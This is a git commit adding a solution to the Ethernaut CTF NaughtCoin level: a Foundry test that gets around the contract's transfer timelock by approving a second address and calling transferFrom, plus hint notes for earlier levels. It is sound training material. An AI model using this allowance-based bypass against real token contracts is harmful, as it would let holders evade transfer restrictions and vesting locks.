From 6618eb36d1953810328d992db1197947b99cba8f Mon Sep 17 00:00:00 2001 From: leovct Date: Tue, 24 Sep 2024 19:50:46 +0200 Subject: [PATCH] feat: ethernaut lvl 15 solution --- doc/EthernautCTF.md | 2 +- src/EthernautCTF/NaughtCoin.sol | 2 +- test/EthernautCTF/NaughtCoinExploit.t.sol | 38 +++++++++++++++++++++++ 3 files changed, 40 insertions(+), 2 deletions(-) create mode 100644 test/EthernautCTF/NaughtCoinExploit.t.sol diff --git a/doc/EthernautCTF.md b/doc/EthernautCTF.md index 765e1d5..14a5018 100644 --- a/doc/EthernautCTF.md +++ b/doc/EthernautCTF.md @@ -16,7 +16,7 @@ | 12 | [Privacy](../src/EthernautCTF/Privacy.sol) | ❌ | | | | 13 | [GatekeeperOne](../src/EthernautCTF/GatekeeperOne.sol) | ✅ | [GatekeeperOneExploit](../test/EthernautCTF/GatekeeperOneExploit.t.sol) | - Estimate the amount of gas a contract call would take using `gasleft` and binary search (dichotomy).
- Another method is to use a `while` loop and to consume the gas tiny bits by tiny bits until the call succeeds.
- Perform operations using bit masks. | | 14 | [GatekeeperTwo](../src/EthernautCTF/GatekeeperTwo.sol) | ✅ | [GatekeeperTwoExploit](../test/EthernautCTF/GatekeeperTwoExploit.t.sol) | - Create a contract that has a size equal to zero by putting all the logic inside the constructor. Indeed, a contract does not have source code available during construction.
- Solidity does not support bitwise negation, but a simple way to perform the operation is to use the XOR operation (`^`) with `0xff` (ones) | -| 15 | [NaughtCoin](../src/EthernautCTF/NaughtCoin.sol) | ❌ | | | +| 15 | [NaughtCoin](../src/EthernautCTF/NaughtCoin.sol) | ✅ | [NaughtCoinExploit](../test/EthernautCTF/NaughtCoinExploit.t.sol) | Use the ERC20 `allowance` and `transferFrom` methods to send tokens on behalf of a nother address. | | 16 | [Preservation](../src/EthernautCTF/Preservation.sol) | ❌ | | | | 17 | [Recovery](../src/EthernautCTF/Recovery.sol) | ❌ | | | | 18 | [MagicNumber](../src/EthernautCTF/MagicNumber.sol) | ❌ | | | diff --git a/src/EthernautCTF/NaughtCoin.sol b/src/EthernautCTF/NaughtCoin.sol index 0f8dca1..4f585aa 100644 --- a/src/EthernautCTF/NaughtCoin.sol +++ b/src/EthernautCTF/NaughtCoin.sol @@ -24,7 +24,7 @@ contract NaughtCoin is ERC20 { address _to, uint256 _value ) public override lockTokens returns (bool) { - super.transfer(_to, _value); + return super.transfer(_to, _value); } // Prevent the initial owner from transferring tokens until the timelock has passed diff --git a/test/EthernautCTF/NaughtCoinExploit.t.sol b/test/EthernautCTF/NaughtCoinExploit.t.sol new file mode 100644 index 0000000..2ff84e8 --- /dev/null +++ b/test/EthernautCTF/NaughtCoinExploit.t.sol @@ -0,0 +1,38 @@ +// SPDX-License-Identifier: GPL-3.0 +pragma solidity ^0.8.0; + +import '../../src/EthernautCTF/NaughtCoin.sol'; +import '@forge-std/Test.sol'; +import '@forge-std/console2.sol'; + +contract NaughtCoinExploit is Test { + NaughtCoin target; + address deployer = makeAddr('deployer'); + address exploiter = makeAddr('exploiter'); + + function setUp() public { + target = new NaughtCoin(deployer); + console2.log('Target contract deployed'); + } + + function testExploit() public { + uint256 balance = target.balanceOf(exploiter); + console2.log('Exploiter balance: %d', balance); + assertEq(balance, 0); + + // Approve another address to spend the tokens on the behalf of the deployer. + uint256 amount = target.balanceOf(deployer); + vm.startPrank(deployer); + target.approve(exploiter, amount); + vm.stopPrank(); + + // Transfer the tokens from the deployer address to the exploiter address using the exploiter address. + vm.startPrank(exploiter); + target.transferFrom(deployer, exploiter, amount); + vm.stopPrank(); + + balance = target.balanceOf(exploiter); + console2.log('Exploiter balance: %d', balance); + assertEq(balance, amount); + } +}